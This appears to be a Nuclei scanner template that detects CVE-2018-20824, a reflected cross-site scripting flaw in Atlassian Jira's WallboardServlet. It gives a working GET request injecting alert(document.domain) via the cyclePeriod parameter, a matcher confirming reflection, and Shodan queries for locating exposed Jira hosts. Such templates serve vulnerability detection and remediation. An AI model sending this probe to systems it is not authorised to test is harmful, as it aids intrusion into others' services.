CVE-2018-20824: Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting

id: CVE-2018-20824

info:
  name: Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69238
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20824
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20824
    cwe-id: CWE-79
    epss-score: 0.53506
    epss-percentile: 0.97913
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve2018,cve,atlassian,jira,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)timeout:\salert\(document\.domain\)

      - type: status
        status:
          - 200
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